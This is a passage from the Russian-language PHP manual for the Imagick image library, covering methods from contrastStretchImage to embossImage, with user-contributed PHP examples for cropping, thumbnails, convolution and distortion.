                $this->image->contrastImage(1);
            }
        } else if ($level < 0) {
            for ($i = $level; $i > 0; $i--) {
                $this->image->contrastImage(0);
            }
        }
    }
?>


Повышает контрастность цветного изображения

  • « Imagick::contrastImage
  • Imagick::convolveImage »
  • PHP Manual
  • Imagick
  • Повышает контрастность цветного изображения

Imagick::contrastStretchImage

(PECL imagick 2, PECL imagick 3)

Imagick::contrastStretchImage — Повышает контрастность цветного изображения

Описание

public Imagick::contrastStretchImage(float $black_point, float $white_point, int $channel = Imagick::CHANNEL_DEFAULT): bool

Повышает контрастность цветного изображения, регулируя цвет пикселей для охвата всего диапазона доступных цветов. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

black_point

Чёрная точка.

white_point

Белая точка.

channel

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов. Imagick::CHANNEL_ALL. Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

SkepticaLee 11-Jun-2014 10:22
The black and white points refer to the absolute number of pixels. In the following example a coloured image is first desaturated (turned into a grey scale image) and then the darkest 90% of pixels are turned black, the brightest 5% are made white, and those between 90% and 95% are grey-scaled:

<?php
$im = new Imagick ("some_image.jpg");
list ($width, $height) = array_values ($im->getImageGeometry ());
$im->modulateImage (100, 0, 100);
$im->contrastStretchImage ($width * $height * 0.90, $width * $height * 0.95);
$im->writeImage ("temp.jpg");
echo "<img src=\"temp.jpg\">";
?>
SkepticaLee 21-Feb-2014 06:47
Trying to figure out what values the black and white points can have and what their effects are nearly drove me around the bend. However, this works:

<?php
$width = 480;
$height = 360;
$mask = new Imagick ();
$mask->newImage ($width, $height, "black");
$draw = new ImagickDraw ();
$draw->setFillColor ("white");
$draw->ellipse ($width / 2, $height / 2, $width * 5 / 12, $height * 5 / 12, 0, 360);
$mask->drawImage ($draw);
$mask->blurImage (0, 50);
$mask->contrastStretchImage (10, 125000);
$mask->writeImage ("mask.png");
?>

The result will be a vignette mask with the pixels in the corner being pure black, and the ones in the middle pure white (which is not the case if the line is commented out). Reducing the white value to, say, 100, turns most of the grey pixels white.


Применяет пользовательское ядро свёртки к изображению

  • « Imagick::contrastStretchImage
  • Imagick::count »
  • PHP Manual
  • Imagick
  • Применяет пользовательское ядро свёртки к изображению

Imagick::convolveImage

(PECL imagick 2, PECL imagick 3)

Imagick::convolveImage — Применяет пользовательское ядро свёртки к изображению

Описание

public Imagick::convolveImage(array $kernel, int $channel = Imagick::CHANNEL_DEFAULT): bool

Применяет пользовательское ядро свёртки к изображению.

Список параметров

kernel

Ядро свёртки.

channel

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов.Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::convolveImage()

<?php
function convolveImage($imagePath, $bias, $kernelMatrix) {
$imagick = new \Imagick(realpath($imagePath));
//$edgeFindingKernel = [-1, -1, -1, -1, 8, -1, -1, -1, -1,];
$imagick->setImageBias($bias * \Imagick::getQuantum());
$imagick->convolveImage($kernelMatrix);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

ahmed at zigzapps dot com 04-Nov-2019 12:57
The provided example is wrong. Here's a correct sample:

$matrix = [[1,-1,1],[-1,1,-1],[1,-1,1]];
$kernel = \ImagickKernel::fromMatrix($matrix);

$imagick = new Imagick();
$imagick->readimage($file.'/z.png');
$imagick->convolveImage ($kernel);
$imagick->writeimage('convolve.png');
$imagick->clear();
$imagick->destroy();
peter at musicalsaw dot com 25-Sep-2013 10:22
Example of convolveImage:

<?php
// run an edge detection filter on an image
$image = new imagick( "diana.png" );
$edgeArray = array(-1,-1,-1,-1,8,-1,-1,-1,-1);
$image->convolveImage ($edgeArray);
$image->thresholdImage(1);
header('Content-type: image/png');
echo $image;
?>


Получает количество изображений

  • « Imagick::convolveImage
  • Imagick::cropImage »
  • PHP Manual
  • Imagick
  • Получает количество изображений

Imagick::count

(PECL imagick 3 >= 3.3.0)

Imagick::count — Получает количество изображений

Описание

public Imagick::count(int $mode = 0): int

Возвращает количество изображений.

Список параметров

mode

Неиспользуемый аргумент. В настоящее время в PHP есть не очень чётко определённая функция, где вызов count() для счётного объекта может (или не может) требовать, чтобы метод принял параметр. Параметр должен соответствовать интерфейсу счётного, даже если он не используется.

Возвращаемые значения

Возвращает количество изображений.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает область изображения

  • « Imagick::count
  • Imagick::cropThumbnailImage »
  • PHP Manual
  • Imagick
  • Извлекает область изображения

Imagick::cropImage

(PECL imagick 2, PECL imagick 3)

Imagick::cropImage — Извлекает область изображения

Описание

public Imagick::cropImage(
int $width,
int $height,
int $x,
int $y
): bool

Извлекает область изображения.

Список параметров

width

Ширина обрезания

height

Высота обрезания

x

Координата X верхнего левого угла области обрезания

y

Координата Y верхнего левого угла области обрезания

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::cropImage()

<?php
function cropImage($imagePath, $startX, $startY, $width, $height) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->cropImage($width, $height, $startX, $startY);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

olav at schettler dot net 30-Mar-2016 08:06
Here is a simple function to create a thumbnail. It accepts an additional parameter to set the focus point of the generated thumbnail:

<?php
function thumbnail($image, $new_w, $new_h, $focus = 'center')
{
    $w = $image->getImageWidth();
    $h = $image->getImageHeight();

    if ($w > $h) {
        $resize_w = $w * $new_h / $h;
        $resize_h = $new_h;
    }
    else {
        $resize_w = $new_w;
        $resize_h = $h * $new_w / $w;
    }
    $image->resizeImage($resize_w, $resize_h, Imagick::FILTER_LANCZOS, 0.9);

    switch ($focus) {
        case 'northwest':
            $image->cropImage($new_w, $new_h, 0, 0);
            break;

        case 'center':
            $image->cropImage($new_w, $new_h, ($resize_w - $new_w) / 2, ($resize_h - $new_h) / 2);
            break;

        case 'northeast':
            $image->cropImage($new_w, $new_h, $resize_w - $new_w, 0);
            break;

        case 'southwest':
            $image->cropImage($new_w, $new_h, 0, $resize_h - $new_h);
            break;

        case 'southeast':
            $image->cropImage($new_w, $new_h, $resize_w - $new_w, $resize_h - $new_h);
            break;
    }
}
?>
oxxido at gmail dot com 13-Apr-2015 05:58
I have a function that takes an image, resize and crop it, and save it as normal, then resize it again and crop it again to create the thumbnail. The numbers of the second crop were WAY off, and the calculations were perfect, the problem, was the second crop wasn't resetting the imagePage, so if you try to crop the same image twice, it will be a good idea to reset it first:
<?php
$thumb = new Imagick($file)
$thumb->resizeImage($r_w1,$r_h1,Imagick::FILTER_CATROM,0.9, false);
$thumb->cropImage($w1,$h1,$l1,$t1);
$thumb->writeImage($destinationPath.'/'.$fileName);

$thumb->resizeImage($r_w2,$r_h2,Imagick::FILTER_CATROM,0.9, false);
$thumb->setImagePage(0, 0, 0, 0);
$thumb->cropImage($w2,$h2,$l2,$t2);
$thumb->writeImage($destinationPath.'/'.$fileNameThumb);

?>

BTW, i needed perfect dimentions so i had to set the "bestfit" to false.
ElPadre 05-Nov-2010 08:55
Actually, the Imagick::setImagePage(0,0,0,0) is also handy with jpgs and pngs, if you plan to do any more changes on the cropped image that involves positioning and/or gravity (I created a script that does crop, face blur and watermarking in one go, and had a hell of a time determining why the blurs and the watermark text never showed up...).
Christian Dehning 09-Apr-2010 03:57
When cropping gif-images (I had no problems with jpg and png images), the canvas is not removed. Please run the following command on the cropped gif, to remove the blank space:

$im->setImagePage(0, 0, 0, 0);


Создаёт обрезанную миниатюру

  • « Imagick::cropImage
  • Imagick::current »
  • PHP Manual
  • Imagick
  • Создаёт обрезанную миниатюру

Imagick::cropThumbnailImage

(PECL imagick 2, PECL imagick 3)

Imagick::cropThumbnailImage — Создаёт обрезанную миниатюру

Описание

public Imagick::cropThumbnailImage(int $width, int $height, bool $legacy = false): bool

Создаёт миниатюру фиксированного размера, сначала масштабируя изображение вверх или вниз и обрезая указанную область от центра.

Список параметров

width

Ширина миниатюры

height

Высота миниатюры

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

sonsandsons at gmail dot com 29-Nov-2011 10:01
It's worth noting that using cropThumbnailImage can appear to give undesired results if you're using .gif image formats. If you are using .gif's, you'll need to compliment this function with a removal of the canvas.

<?php

//instantiate the image magick class
$image = new Imagick($image_path);

//crop and resize the image
$image->cropThumbnailImage(100,100);

//remove the canvas
$image->setImagePage(0, 0, 0, 0);

?>
martijn at elicit dot nl 03-Jun-2010 05:57
In my opinion this function is not working as expected, tested for imagemagick version 6.3.7

As described above, the function returns an image with a fixed height and a variable width. Here's a fix that will return a cropped thumbnail with the defined dimensions, without variations in the dimensions.

<?php
// define widescreen dimensions
$width = 160;
$height = 90;

// load an image
$i = new Imagick("your image file");
// get the current image dimensions
$geo = $i->getImageGeometry();

// crop the image
if(($geo['width']/$width) < ($geo['height']/$height))
{
    $i->cropImage($geo['width'], floor($height*$geo['width']/$width), 0, (($geo['height']-($height*$geo['width']/$width))/2));
}
else
{
    $i->cropImage(ceil($width*$geo['height']/$height), $geo['height'], (($geo['width']-($width*$geo['height']/$height))/2), 0);
}
// thumbnail the image
$i->ThumbnailImage($width,$height,true);

// save or show or whatever the image
$i->setImageFormat("png");
header("Content-Type: image/png");
exit($i);
?>
benford at bluhelix dot com 11-Jun-2009 02:14
I found a relevant posting complete with demo code at this site:
http://valokuva.org/?p=8

Sample code goes like this:
<?php
/* Read the image */
$im = new imagick( "test.png" );
/* create the thumbnail */
$im->cropThumbnailImage( 80, 80 );
/* Write to a file */
$im->writeImage( "th_80x80_test.png" );
?>

This is a specialization of the cropImage method. At a high level, this method will create a thumbnail of a given image, with the thumbnail sized at ($width, $height).

If the thumbnail does not match the aspect ratio of the source image, this is the method to use. The thumbnail will capture the entire image on the shorter edge of the source image (ie, vertical size on a landscape image). Then the thumbnail will be scaled down to meet your target height, while preserving the aspect ratio. Extra horizontal space that does not fit within the target $width will be cropped off evenly left and right.

As a result, the thumbnail is usually a good representation of the source image.
domenechs1 at yahoo dot es 03-Mar-2008 09:06
$image = new Imagick($path."test1.jpg");

$image->cropThumbnailImage(160,120); // Crop image and thumb

$image->writeImage($path."test1.jpg");


Возвращает ссылку на текущий объект Imagick

  • « Imagick::cropThumbnailImage
  • Imagick::cycleColormapImage »
  • PHP Manual
  • Imagick
  • Возвращает ссылку на текущий объект Imagick

Imagick::current

(PECL imagick 2, PECL imagick 3)

Imagick::current — Возвращает ссылку на текущий объект Imagick

Описание

public Imagick::current(): Imagick

Возвращает ссылку на текущий объект imagick с указателем на изображение в правильной последовательности.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает себя в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Отображает цветовую карту изображения

  • « Imagick::current
  • Imagick::decipherImage »
  • PHP Manual
  • Imagick
  • Отображает цветовую карту изображения

Imagick::cycleColormapImage

(PECL imagick 2, PECL imagick 3)

Imagick::cycleColormapImage — Отображает цветовую карту изображения

Описание

public Imagick::cycleColormapImage(int $displace): bool

Смещает цветовую карту изображения на заданное количество позиций. Если вы циклически изменяете цветовую карту несколько раз, вы можете произвести психоделический эффект.

Список параметров

displace

Количество для смещения цветовой карты.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Расшифровывает изображение

  • « Imagick::cycleColormapImage
  • Imagick::deconstructImages »
  • PHP Manual
  • Imagick
  • Расшифровывает изображение

Imagick::decipherImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::decipherImage — Расшифровывает изображение

Описание

public Imagick::decipherImage(string $passphrase): bool

Расшифровывает изображение, которое было зашифровано ранее. Изображение должно быть зашифровано с использованием Imagick::encipherImage(). Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.9 или старше.

Список параметров

passphrase

Пароль

Возвращаемые значения

В случае успешной работы возвращает true.

Смотрите также

  • Imagick::encipherImage() - Шифрует изображение

User Contributed Notes

There are no user contributed notes for this page.


Возвращает определённые пиксельные различия между изображениями

  • « Imagick::decipherImage
  • Imagick::deleteImageArtifact »
  • PHP Manual
  • Imagick
  • Возвращает определённые пиксельные различия между изображениями

Imagick::deconstructImages

(PECL imagick 2, PECL imagick 3)

Imagick::deconstructImages — Возвращает определённые пиксельные различия между изображениями

Описание

public Imagick::deconstructImages(): Imagick

Сравнивает каждое изображение со следующим в последовательности и возвращает максимальную ограничивающую область любых обнаруженных различий пикселей.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает новый объект Imagick в случае успешного выполнения.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

rbcp at phonelosers dot org 11-May-2023 08:40
"returns the maximum bounding region of any pixel differences it discovers"
It returns an \Imagick instance


Удаляет артефакт изображения

  • « Imagick::deconstructImages
  • Imagick::deleteImageProperty »
  • PHP Manual
  • Imagick
  • Удаляет артефакт изображения

Imagick::deleteImageArtifact

(PECL imagick 3)

Imagick::deleteImageArtifact — Удаляет артефакт изображения

Описание

public Imagick::deleteImageArtifact(string $artifact): bool

Удаляет артефакт, связанный с изображением. Разница между свойствами изображения и артефактами изображения заключается в том, что свойства являются общедоступными, а артефакты - частными. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.5.7 или старше.

Список параметров

artifact

Название артефакта для удаления

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Смотрите также

  • Imagick::setImageArtifact() - Устанавливает артефакт изображения
  • Imagick::getImageArtifact() - Возвращает артефакт изображения

User Contributed Notes

There are no user contributed notes for this page.


Удаляет свойство изображения

  • « Imagick::deleteImageArtifact
  • Imagick::deskewImage »
  • PHP Manual
  • Imagick
  • Удаляет свойство изображения

Imagick::deleteImageProperty

(PECL imagick 3 >= 3.3.0)

Imagick::deleteImageProperty — Удаляет свойство изображения

Описание

public Imagick::deleteImageProperty(string $name): bool

Удаляет свойство изображения.

Список параметров

name

Имя свойства для удаления.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет перекос с изображения

  • « Imagick::deleteImageProperty
  • Imagick::despeckleImage »
  • PHP Manual
  • Imagick
  • Удаляет перекос с изображения

Imagick::deskewImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.3.0)

Imagick::deskewImage — Удаляет перекос с изображения

Описание

public Imagick::deskewImage(float $threshold): bool

Метод можно использовать для удаления перекоса, например, отсканированных изображений, если бумага не была правильно размещена на поверхности сканирования. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.5 или старше.

Список параметров

threshold

Размер перекоса

Возвращаемые значения

Примеры

Пример #1 Пример использования Imagick::deskewImage()

<?php
function deskewImage($threshold) {
$imagick = new \Imagick(realpath("images/NYTimes-Page1-11-11-1918.jpg"));
$deskewImagick = clone $imagick;

//Это единственное, что требуется для удаления перекоса.
$deskewImagick->deskewImage($threshold);

//Остальная часть этого примера - сделать результат очевидным,
//потому что в противном случае результат не очевиден.
$trim = 9;

$deskewImagick->cropImage($deskewImagick->getImageWidth() - $trim, $deskewImagick->getImageHeight(), $trim, 0);
$imagick->cropImage($imagick->getImageWidth() - $trim, $imagick->getImageHeight(), $trim, 0);
$deskewImagick->resizeimage($deskewImagick->getImageWidth() / 2, $deskewImagick->getImageHeight() / 2, \Imagick::FILTER_LANCZOS, 1);
$imagick->resizeimage($imagick->getImageWidth() / 2, $imagick->getImageHeight() / 2, \Imagick::FILTER_LANCZOS, 1);
$newCanvas = new \Imagick();
$newCanvas->newimage($imagick->getImageWidth() + $deskewImagick->getImageWidth() + 20, $imagick->getImageHeight(), 'red', 'jpg');
$newCanvas->compositeimage($imagick, \Imagick::COMPOSITE_COPY, 5, 0);
$newCanvas->compositeimage($deskewImagick, \Imagick::COMPOSITE_COPY, $imagick->getImageWidth() + 10, 0);

header("Content-Type: image/jpg");
echo $newCanvas->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает спекл-шум на изображении

  • « Imagick::deskewImage
  • Imagick::destroy »
  • PHP Manual
  • Imagick
  • Уменьшает спекл-шум на изображении

Imagick::despeckleImage

(PECL imagick 2, PECL imagick 3)

Imagick::despeckleImage — Уменьшает спекл-шум на изображении

Описание

public Imagick::despeckleImage(): bool

Уменьшает спекл-шум на изображении, сохраняя края исходного изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::despeckleImage()

<?php
function despeckleImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->despeckleImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Удаляет объект Imagick

  • « Imagick::despeckleImage
  • Imagick::displayImage »
  • PHP Manual
  • Imagick
  • Удаляет объект Imagick

Imagick::destroy

(PECL imagick 2, PECL imagick 3)

Imagick::destroy — Удаляет объект Imagick

Описание

public Imagick::destroy(): bool

Удаляет объект Imagick и освобождает все ресурсы связанные с ним. Метод устарел и следует использовать Imagick::clear.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Выводит изображение

  • « Imagick::destroy
  • Imagick::displayImages »
  • PHP Manual
  • Imagick
  • Выводит изображение

Imagick::displayImage

(PECL imagick 2, PECL imagick 3)

Imagick::displayImage — Выводит изображение

Описание

public Imagick::displayImage(string $servername): bool

Данный метод выводит изображение на X сервер.

Список параметров

servername

Имя X сервера

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выводит изображение или последовательность изображений

  • « Imagick::displayImage
  • Imagick::distortImage »
  • PHP Manual
  • Imagick
  • Выводит изображение или последовательность изображений

Imagick::displayImages

(PECL imagick 2, PECL imagick 3)

Imagick::displayImages — Выводит изображение или последовательность изображений

Описание

public Imagick::displayImages(string $servername): bool

Выводит изображение или последовательность изображений на X сервер.

Список параметров

servername

Имя X сервера

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Искажает изображение, используя различные методы искажения

  • « Imagick::displayImages
  • Imagick::drawImage »
  • PHP Manual
  • Imagick
  • Искажает изображение, используя различные методы искажения

Imagick::distortImage

(PECL imagick 2 >= 2.0.1, PECL imagick 3)

Imagick::distortImage — Искажает изображение, используя различные методы искажения

Описание

public Imagick::distortImage(int $method, array $arguments, bool $bestfit): bool

Искажает изображение, используя различные методы искажения, сопоставляя поисковые запросы цвета исходного изображения с новым целевым изображением, обычно того же размера, что и исходное изображение, если для параметра "bestfit" установлено значение true.

Если параметр "bestfit" включён и это позволяет искажение, целевое изображение настраивается таким образом, чтобы исходное изображение полностью соответствовало конечному целевому изображению, которое будет иметь соответствующий размер и смещение. Также во многих случаях при сопоставлении будет учитываться виртуальное смещение исходного изображения.

Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.6 или старше.

Список параметров

method

Метод искажения изображения. Смотрите константы искажения.

arguments

Аргументы для выбранного метода искажения.

bestfit

Попытка изменить размер места назначения, чтобы он соответствовал искажённому источнику.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::distortImage():

Искажение изображения и отображение в браузере.

<?php
/* Создание нового объекта */
$im = new Imagick();

/* Создание нового узора в виде шахматной доски */
$im->newPseudoImage(100, 100, "pattern:checkerboard");

/* Установка формата изображения на png */
$im->setImageFormat('png');

/* Заполнение новых видимых областей прозрачным цветом */
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);

/* Активация матовости */
$im->setImageMatte(true);

/* Контрольные точки для искажения */
$controlPoints = array( 10, 10,
10, 5,

10, $im->getImageHeight() - 20,
10, $im->getImageHeight() - 5,

$im->getImageWidth() - 10, 10,
$im->getImageWidth() - 10, 20,

$im->getImageWidth() - 10, $im->getImageHeight() - 10,
$im->getImageWidth() - 10, $im->getImageHeight() - 30);

/* Выполнение искажения */
$im->distortImage(Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

/* Вывод изображения */
header("Content-Type: image/png");
echo $im;
?>

Результатом выполнения данного примера будет что-то подобное:

Пример использования Imagick::distortImage()

Смотрите также

  • Imagick::blurImage() - Добавляет фильтр размытия к изображению
  • Imagick::motionBlurImage() - Имитирует размытие в движении
  • Imagick::radialBlurImage() - Радиальное размытие изображения

User Contributed Notes

Abe 13-Feb-2021 05:21
Control Points for DISTORTION_PERSPECTIVE are pairs of x0, y0, x1, y1 coordinates, where x0/y0 is the original point and x1/y1 is the destination point,

e.g. for a four point distortion:

    <?php

    $im = new imagick( $fn);

    $w=$im->getImageWidth();
    $h=$im->getImageHeight();
    $im->setImageFormat('png');

    $controlPoints = array(
                    $tLx, $tLy, 0, 0,  // top left
                    $tRx, $tRy, $w, 0, // top right
                    $bRx, $bRy, $w, $h, // bottom right
                    $bLx, $bLy, 0, $h // bottom left
                );

    /* Perform the distortion */
    $im->distortImage(Imagick::DISTORTION_PERSPECTIVE, $controlPoints, false);

    // Output the image
    $output = $im->getimageblob();
    $outputtype = $im->getFormat();

    header("Content-type: $outputtype");
    echo $output;

    ?>
peter dot e dot lind at gmail dot com 30-Dec-2014 08:55
It is worth nothing that details on distorts as well as arguments can be found at http://www.imagemagick.org/Usage/distorts/ - the PHP manual doesn't give much, if any, detail on arguments.

I found this very useful when I had to do a translated rotation on an image - i.e. rotating around a point in the image that was not square in the center. This can be achieved by using distortImage with Imagick::DISTORTION_SCALEROTATETRANSLATE like this:

<?php

$imagick = new Imagick('/path/to/image');
$args = array(
    20, # x point to rotate around
    20, # y point to rotate around
    1, # scaling factor - 1 means no scaling
    90, # angle to rotate
);

$imagick->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
$imagick->distortImage(Imagick::DISTORTION_SCALEROTATETRANSLATE, $args, true);

?>

Note that this type of distort takes from 1 to 7 arguments, depending on what you want to do exactly - there is a lot of flexibility here.
DJ Mike 11-Apr-2011 11:11
Affine

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25,
               100,0, 100,50
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage(  Imagick::DISTORTION_AFFINE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Affine Projection

<?php
$image = new imagick( "opossum.jpg" );
$points = array( 0.9,0.3,
                -0.2,0.7,
                 20,15 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_AFFINEPROJECTION, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Rotated Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180, 45, 100, 20 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Bilinear

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_BILINEAR, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Perspective

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_PERSPECTIVE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Scale Rotate Translate

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                 1.5, # scale 150%
                 150 # rotate
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( imagick::DISTORTION_SCALEROTATETRANSLATE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>
ashokmca.g at gmail dot com 04-Feb-2011 02:13
Slide image with shadow using distortImage

<?php

$slideValue = 150;

// Create new object
$im = new Imagick("grnhrs.jpg");

// Resize
$im->thumbnailImage(500,400);

// Set the image format to png
$im->setImageFormat('png');

//Clone the current object
$shadow = $im->clone();

//Set image background color to black (this is the color of the shadow)
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

 //Create the shadow
$shadow->shadowImage( 80, 10, 5, 5 );

// Fill background area with transparent for image
//VIRTUALPIXELMETHOD_TRANSPARENT
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_ TRANSPARENT);

// Activate matte
$im->setImageMatte(true);

//Control points for the distortion
$controlPoints = array( 0, 0,
                        $slideValue, 0,

                        0, $im->getImageHeight(),
                        0, $im->getImageHeight(),

                        $im->getImageWidth(), 0,
                        $im->getImageWidth(), 0,

                        $im->getImageWidth(), $im->getImageHeight(),
                        $im->getImageWidth()-$slideValue, $im->getImageHeight());

// Perform the distortion
$im->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Perform the distortion in shadow image
$shadow->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Imagick::shadowImage only creates the shadow.
// That is why the original image is composited over it
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Ouput the image */
header("Content-Type: image/png");
echo $shadow;

?>


Выполняет рендеринг объекта ImagickDraw на текущем изображении

  • « Imagick::distortImage
  • Imagick::edgeImage »
  • PHP Manual
  • Imagick
  • Выполняет рендеринг объекта ImagickDraw на текущем изображении

Imagick::drawImage

(PECL imagick 2, PECL imagick 3)

Imagick::drawImage — Выполняет рендеринг объекта ImagickDraw на текущем изображении

Описание

public Imagick::drawImage(ImagickDraw $draw): bool

Выполняет рендеринг объекта ImagickDraw на текущем изображении.

Список параметров

draw

Операции рисования, выполняемые к изображению.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

blah at blub dot com 24-Aug-2009 06:21
If your imagick lib begins to say: "Non-conforming drawing primitive...", it could be that your locale are not correctly set. please locate all your setlocale and kill them temporary so you could check it that would solve the problem.
sualk at lednew dot de 30-Sep-2008 04:34
the ImagickDraw (v 2.2.0) seems to disharmonise with PHP-GTK2 (v 2.0.1).

The rendering of an ImagickDraw object on the current image fails (resp. results in a flat image without drawings), if php_gtk2.so is loaded.

Code to reproduce the failure:

#!/usr/bin/php5
<?php
dl("php_gtk2.so"); // comment this for a second try

$string = "Hello world!";

$im = new Imagick();
$draw = new ImagickDraw();

$draw->setFillColor(new ImagickPixel('blue'));

$draw->setFontSize(28);

$metrix = $im->queryFontMetrics($draw, $string);

$draw->annotation(0,25,$string);

$im->newImage($metrix['textWidth'],$metrix['textHeight'], new ImagickPixel('white'));
$im->drawImage($draw);
$im->borderImage(new ImagickPixel('black'), 1, 1);
$im->setImageFormat('png');

$im->writeImage("./test.png");
?>


Усиливает края в изображении

  • « Imagick::drawImage
  • Imagick::embossImage »
  • PHP Manual
  • Imagick
  • Усиливает края в изображении

Imagick::edgeImage

(PECL imagick 2, PECL imagick 3)

Imagick::edgeImage — Усиливает края в изображении

Описание

public Imagick::edgeImage(float $radius): bool

Увеличивает края в изображении с помощью фильтра свёртки данного радиуса. Используйте радиус 0, и он будет выбран автоматически.

Список параметров

radius

Радиус операции.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::edgeImage()

<?php
function edgeImage($imagePath, $radius) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->edgeImage($radius);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает изображение в градациях серого с трёхмерным эффектом

  • « Imagick::edgeImage
  • Imagick::encipherImage »
  • PHP Manual
  • Imagick
  • Возвращает изображение в градациях серого с трёхмерным эффектом

Imagick::embossImage

(PECL imagick 2, PECL imagick 3)

